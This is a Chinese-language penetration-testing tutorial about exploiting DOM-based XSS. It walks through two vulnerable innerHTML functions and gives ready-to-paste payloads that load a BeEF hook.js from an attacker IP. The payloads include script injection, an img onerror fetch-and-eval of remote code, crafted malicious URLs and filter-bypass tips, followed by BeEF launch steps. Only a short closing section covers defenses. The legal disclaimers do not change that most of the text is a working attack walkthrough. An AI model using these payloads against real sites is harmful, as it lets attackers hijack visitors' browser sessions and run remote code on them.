前言:本文仅用于合法授权的渗透测试场景,旨在帮助开发者识别DOM型XSS漏洞、提升Web应用安全性,严禁用于未授权攻击!网络安全无小事,违规操作将承担相应法律责任。

DOM型XSS作为前端常见高危漏洞,因无需与后端交互、触发隐蔽,成为渗透测试中高频遇到的攻击场景。今天就以两段真实前端代码为例,拆解漏洞原理、手把手教你用BeEF实现合法上线,从攻击视角反向理解如何防御!
一、前置知识:DOM型XSS核心特点
DOM型XSS(文档对象模型跨站脚本),区别于存储型、反射型XSS,其攻击 payload 不经过后端,直接通过前端JavaScript操作DOM树注入恶意代码,浏览器解析后执行。
核心触发条件:用户输入未经过滤/编码,直接拼接到HTML字符串中,通过innerHTML等方法写入页面。本文两个案例均满足此条件,且分别对应“输入框输入”和“URL参数输入”两种常见场景。
工具准备:Kali Linux(内置BeEF)、目标测试环境(需提前获得授权)、浏览器。
二、案例一:输入框触发的DOM型XSS(基础款)
1. 漏洞代码解析
前端核心函数如下,功能是获取输入框内容,拼接到a标签的href属性中,写入页面:
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
漏洞关键:用户输入的str变量,直接拼接进HTML字符串,未做任何过滤(如转义单引号、尖括号),攻击者可通过闭合标签注入恶意代码。
2. 漏洞攻击向量拆解
-
第一步:闭合单引号。代码中a标签的href用单引号包裹(<a href='"+str+"'>),需输入
'闭合原有单引号,打破href的属性限制。 -
第二步:闭合a标签。输入
>闭合原有<a>标签,让后续注入的代码脱离a标签的包裹,能被浏览器正常解析。 -
第三步:注入恶意脚本。插入能加载BeEF Hook脚本的标签,触发代码执行。
3. BeEF上线Payload构建(3种方案,按需选择)
前提:Kali攻击机IP为 192.168.1.100,BeEF默认监听3000端口(启动后可确认)。
方案一:<script>标签(最直接,适合无过滤场景)
Payload:
'><script src="http://192.168.1.100:3000/hook.js"></script>
拼接后HTML效果:
<a href=''><script src="http://192.168.1.100:3000/hook.js"></script>'>what do you see?</a>
说明:虽HTML结构看似混乱,但浏览器解析器会自动纠正,优先执行script标签中的Hook脚本。
方案二:<img>标签(更隐蔽,绕开script拦截)
若目标页面有CSP(内容安全策略)拦截script标签,可利用img标签的onerror事件触发脚本执行:
'><img src=x onerror="fetch('http://192.168.1.100:3000/hook.js').then(r=>r.text()).then(j=>eval(j))">
原理:img标签src设为无效值(x),加载失败触发onerror事件,通过fetch请求Hook脚本,eval执行脚本内容,实现上线。
方案三:</script>标签截断(拓展场景,页面含script标签时用)
若输入框所在页面本身嵌套在script标签内,可通过闭合script标签注入代码:
'</script><script src="http://192.168.1.100:3000/hook.js"></script>
4. 合法实战步骤(必看:仅授权测试)
-
启动BeEF:Kali终端输入命令,启动BeEF服务(默认账号beef,密码beef):
sudo beef-xss -
获取Hook地址:访问BeEF控制台(http://127.0.0.1:3000/ui/panel),登录后在“Getting Started”中找到Hook脚本地址(默认http://攻击机IP:3000/hook.js)。
-
注入Payload:打开授权的测试页面,在输入框中粘贴上述任意Payload,点击触发按钮(如提交按钮),执行domxss()函数。
-
监听上线:回到BeEF控制台,“Online Browsers”面板出现新会话,即为上线成功,可执行合法测试操作(如查看浏览器信息,严禁越权操作)。
三、URL参数触发的DOM型XSS-X
此场景更具隐蔽性,攻击者无需操作输入框,仅需构造特制URL,诱使目标点击即可触发漏洞。
1. 漏洞代码解析
function domxss(){
var str = window.location.search; // 获取URL中?后的参数(如?text=test)
var txss = decodeURIComponent(str.split("text=")[1]); // 提取text参数值,URL解码
var xss = txss.replace(/\+/g,' '); // 将+替换为空格
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
漏洞关键:URL参数text的值,经解码、替换空格后,直接拼接进a标签href,未做过滤,可通过构造URL注入恶意代码。
2. Payload构建与URL构造
核心技巧:利用代码中“+替换为空格”的逻辑,用+代替空格,既符合HTML语法,又能避免空格被URL编码影响。
推荐Payload(script标签,优先使用)
Payload字符串:
'><script src="http://192.168.1.100:3000/hook.js"></script>
构造完整URL(替换目标网址和页面):
http://目标网址/目标页面.html?text='><script+src="http://192.168.1.100:3000/hook.js"></script>
备用方案(img标签,绕开CSP):
http://目标网址/目标页面.html?text='><img+src=x+onerror="fetch('http://192.168.1.100:3000/hook.js').then(r=>r.text()).then(j=>eval(j))">
四、关键注意事项(合规+实战双重点)
-
合规底线:所有操作必须在授权范围内进行,严禁对未授权网站实施攻击,否则将触犯《网络安全法》《刑法》。
-
IP与端口:Payload中的IP必须是Kali攻击机的内网/公网IP(不能用127.0.0.1),确保目标能访问该IP的3000端口(可关闭Kali防火墙:sudo ufw disable)。
-
绕过技巧:若目标有过滤,可尝试HTML实体编码(如<替换为<,>替换为>),或更换img、svg等标签触发事件。
-
测试后清理:测试完成后,及时停止BeEF服务,删除注入的Payload,避免留下安全隐患。
五、开发者防御方案(反向避坑)
从攻击视角出发,开发者只需做好以下2点,即可防御绝大多数DOM型XSS:
-
输入过滤:对用户输入(含URL参数)进行严格过滤,转义特殊字符(单引号、双引号、<、>等),推荐使用DOMPurify等成熟库。
-
避免危险API:尽量避免使用innerHTML、document.write等直接解析HTML的方法,优先使用textContent(仅渲染文本,不解析HTML)。
结尾总结
DOM型XSS的核心漏洞点的是“未过滤的用户输入直接拼接HTML”,BeEF则是利用该漏洞实现浏览器会话控制的常用工具。本文的实战操作,核心目的是帮助大家“知其然,更知其所以然”——既了解攻击逻辑,更掌握防御方法。
网络安全的本质是“攻防对抗”,唯有站在攻击者的角度理解漏洞,才能写出更安全的代码。再次强调:技术本身无善恶,合规使用才是底线,共同维护安全的网络环境!
浙公网安备 33010602011771号